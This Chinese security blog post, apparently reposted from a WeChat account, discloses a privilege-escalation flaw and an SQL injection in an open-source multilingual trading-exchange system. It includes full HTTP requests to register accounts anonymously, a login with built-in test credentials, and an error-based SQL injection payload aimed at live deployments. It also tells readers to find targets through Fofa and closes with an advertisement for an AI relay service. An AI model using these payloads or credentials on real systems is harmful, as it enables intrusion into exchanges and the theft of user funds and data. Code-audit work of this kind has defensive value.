文章总结: 该文档分析某多语言交易所系统的安全漏洞,发现前台存在垂直越权漏洞和SQL注入漏洞。权限校验缺失导致普通用户可访问管理员接口,MyBatis未使用预编译导致支付方式查询存在SQL注入风险。文档提供具体漏洞位置、利用方法和修复建议。 综合评分: 78 文章分类: 漏洞分析,WEB安全,代码审计,安全开发,红队
某34国语言综合GP交易所存在前台SQL注入漏洞 (Java)
原创
XingYue404 XingYue404
星悦安全
2026年6月28日 18:54 浙江
在小说阅读器读本章
去阅读
点击上方蓝字关注我们 并设为星标
0x00 前言
漏洞完全由AI分析,无特殊提示词 Skill,同款见文末.
34国语言综合股票交易所开源源码 为一套功能完整的综合性在线交易系统,公开资料提及支持加密货币现货/合约/期权、外汇、全球股票、ETF、大宗商品、跟单、C2C、NFT、理财借贷等数十个业务模块,
技术栈 : Java Spring Boot 2.7 + Vue3/Vue2 + MySQL + Redis
Fofa指纹(后端) : 自己找
0x01 前台垂直越权漏洞
全局过滤器AuthFilter.doFilter(/trad-admin/trading-order-security-common/src/main/java/com/yami/trading/security/common/filter:156-237)只校验 token 是否有效(tokenStore.getUserInfoByAccessToken),解析成功后仅AuthUserContext.set(userInfoInToken)即放行,从不判断 token 的sysType(ADMIN / ORDINARY)能否访问当前控制器
if (StrUtil.isNotBlank(accessToken)) {
try {
userInfoInToken = tokenStore.getUserInfoByAccessToken(accessToken, true);
if (userInfoInToken.getSysType().intValue() == SysTypeEnum.ORDINARY.value().intValue()) {
String userId = userInfoInToken.getUserId();
// 缓存优化 TODO
User userEntity = userService.cacheUserBy(userId);
if (userEntity != null) {
userCode = userEntity.getUserCode();
}
}
} catch (Exception e) {
if (e instanceof YamiShopBindException) {
logger.error("---> AuthFilter doFilter 处理 uri:{}, accessToken:{} 报 YamiShopBindException 异常:{}", requestUri, accessToken, e.getMessage());
tokenErr = (YamiShopBindException)e;
} else {
logger.error("---> AuthFilter doFilter 处理 uri:{}, accessToken:{} 报错:", requestUri, accessToken, e);
throw e;
}
}
}
// 处理黑名单访问,断网逻辑
if (checkBlackRequest(req, resp, clientIp, userCode)) {
return;
}
try {
// 识别时区信息
processTimezone(req);
// 白名单
if (servletPathWhiteUri) {
chain.doFilter(req, resp);
return;
}
//
if (ObjectUtils.isNotEmpty(VERSION_NUMBER)) {
// 验证时间戳签名
if (checkSign(req,response)) {
return;
}
}
// 当前 uri 不用检查是否携带 token,直接执行对应的接口
if (ignoreTokenUri) {
chain.doFilter(req, resp);
return;
}
// 有 token 就用,没 token 也无所谓的 api
if (userInfoInToken != null) {
// 如果有 token,并且解析成功,则走以下处理逻辑
// 已移除IP检查逻辑,不再进行IP地址验证
// if (userInfoInToken.getSysType().intValue() == SysTypeEnum.ADMIN.value().intValue()) {
// if (!pathMatcher.match("/updateCheckIp", requestUri)) {
// Object loginIP = RedisUtil.get(RedisKeys.ACCESS_IP + userInfoInToken.getUserId());
// if (null != loginIP && !IPHelper.equalIpSegment(loginIP.toString(), clientIp)) {
// logger.error("The Login IP Is Inconsistent With The Operation IP! Login-IP:{} Access-IP:{} Servlet-Path:{}", loginIP, clientIp, servletPath);
// httpHandler.printServerResponseToWeb("", 1001);
// return;
// }
// }
// }
// 保存上下文
AuthUserContext.set(userInfoInToken);
} elseif (!optionalTokenUri) {
// token 必填的路径
// 如果没有 token,或者 token 解析失败/过期,但是当前请求 uri 又不是一个可选 token 的uri,则报错,提示 token 无效
// 返回前端401
logger.error("---> requestUri:{} 未配置 optional 白名单", requestUri);
httpHandler.printServerResponseToWeb("您的账号已过期或已经在其他地方登录,请重新登录", 403);
return;
}
if (tokenErr != null) {
// 前面解析 token 报错,此处抛出
throw tokenErr;
}
// token 逻辑校验顺利
chain.doFilter(req, resp);
授权完全依赖各方法上的@PreAuthorize(@EnableGlobalMethodSecurity)。经统计@PreAuthorize仅出现在 5 个sys/*控制器(共 21 处),其余约 150 个资金类后台控制器没有任何方法级授权。
SecurityUtils.getSysUser()(SecurityUtils.java:14-31)对 ORDINARY 与 ADMIN token 一视同仁返回非空对象,不区分来源。
public YamiSysUser getSysUser() {
UserInfoInTokenBO userInfoInTokenBO = AuthUserContext.get();
if(userInfoInTokenBO == null){
returnnull;
}
YamiSysUser details = new YamiSysUser();
String userId = userInfoInTokenBO.getUserId();
// 兼容swagger 请求情况
if(StringUtils.isEmpty(userId)){
returnnull;
}
details.setUserId(Long.valueOf(userId));
details.setEnabled(userInfoInTokenBO.getEnabled());
details.setUsername(userInfoInTokenBO.getNickName());
details.setAuthorities(userInfoInTokenBO.getPerms());
details.setShopId(userInfoInTokenBO.getShopId());
return details;
}
而token 可经白名单内的匿名注册接口/api/registerNoVerifcode、/api/user/register(验证码校验被注释)零成本批量获取.
Payload(匿名创建用户获取Token):
POST /api/registerNoVerifcode HTTP/2
Host: 127.0.0.1
Content-Length: 54
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Sec-Fetch-User: ?1
Priority: u=0, i
Connection: close
userName=deep666&password=Passw0rd666&userCode=&type=3
如果系统没有 /api/registerNoVerifcode 这个接口,还能通过 /api/user/login 接口登入一些系统内置测试账户来获取到 Token,如下 GET 访问
/api/user/login?language=en&username=ceshi2&password=123456
而获取到 Token 之后,我们就直接能操纵后台的一些接口了,权限成功提升不少,很多操作都可以用了,这里不多说.
0x02 前台SQL注入漏洞
sinkC2cPaymentMethodMapper.xml:26
链路C2cPaymentMethodController.java:96→C2cPaymentMethodServiceImpl.java:42-44→C2cPaymentMethodMapper.java:12-16
C2cPaymentMethodMapper.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN""http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.yami.trading.dao.c2c.C2cPaymentMethodMapper">
<select id="listPage" resultType="com.yami.trading.bean.c2c.dto.C2cPaymentMethodDto">
select
cpm.*,
party.user_id ,
party.user_code ,
party.user_name
from
t_c2c_payment_method cpm
left join tz_user party on cpm.party_id = party.user_id
left join t_c2c_user cu on cu.c2c_user_party_id = party.user_id
where
1 = 1 and cpm.type=#{type}
<if test="loginPartyId!=null and loginPartyId!=''">
and cu.c2c_manager_party_id=#{loginPartyId}
</if>
<if test="userCode!=null and userCode!=''">
AND (party.user_name like CONCAT('%', #{userCode}, '%') or party.user_code like CONCAT('%', #{userCode},
'%'))
</if>
<if test="methodType!=null and methodType!=''">
and cpm.method_type =${methodType}
</if>
<if test="methodName!=null and methodName!=''">
and cpm.method_name like CONCAT('%', #{methodName}, '%')
</if>
order by cpm.create_time desc
</select>
</mapper>
c2cpaymentmethodcontroller.java
adminC2cPaymentMethodService.listPage(page, "", model.getUserName(), model.getMethodType(), model.getMethodName(),model.getType());
C2cPaymentMethodServiceImpl.java
public Page<C2cPaymentMethodDto> listPage(Page page, String loginPartyId, String userCode, String methodType, String methodName,
int type) {
return baseMapper.listPage(page,loginPartyId,userCode,methodType,methodName,type);
}
C2cPaymentMethodMapper.java
Page<C2cPaymentMethodDto> listPage(Page page, @Param("loginPartyId") String loginPartyId,
@Param("userCode") String userCode,
@Param("methodType") String methodType,
@Param("methodName") String methodName,
@Param("type") int type);
}
由于methodType(String,无白名单/数值校验)经${}直接拼入 SQL,列method_type为整型(无引号数值上下文)。全环境 JDBC URL 含allowMultiQueries=true,堆叠写库可行。其余参数用#{}(安全)
注意这里我们就可以用 0x01 前台垂直越权漏洞可创建的账户来进行授权
Payload (获取数据库用户):
POST /api/paymentMethod/list HTTP/2
Host: 127.0.0.1
Content-Length: 159
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Authorization: 你获取到的前台用户Token
Sec-Fetch-User: ?1
Priority: u=0, i
{
"size": 5,
"current": 1,
"type": 1,
"methodName": "",
"userName": "",
"methodType":"1 AND extractvalue(1,concat(0x7e,(SELECT user())))"
}
这里SQL注入有挺多不错的可操作点,就不过多演示了.
0x03 AI 漏洞挖掘
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所
本漏洞完全由星悦AI中转提供的Claude Opus 4.8 挖掘分析.
https://www.xyusec.com/
新用户还可以添加下方客服进群领5$额度
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!****
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星悦安全 XingYue404 XingYue404《某34国语言综合GP交易所存在前台SQL注入漏洞 (Java)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论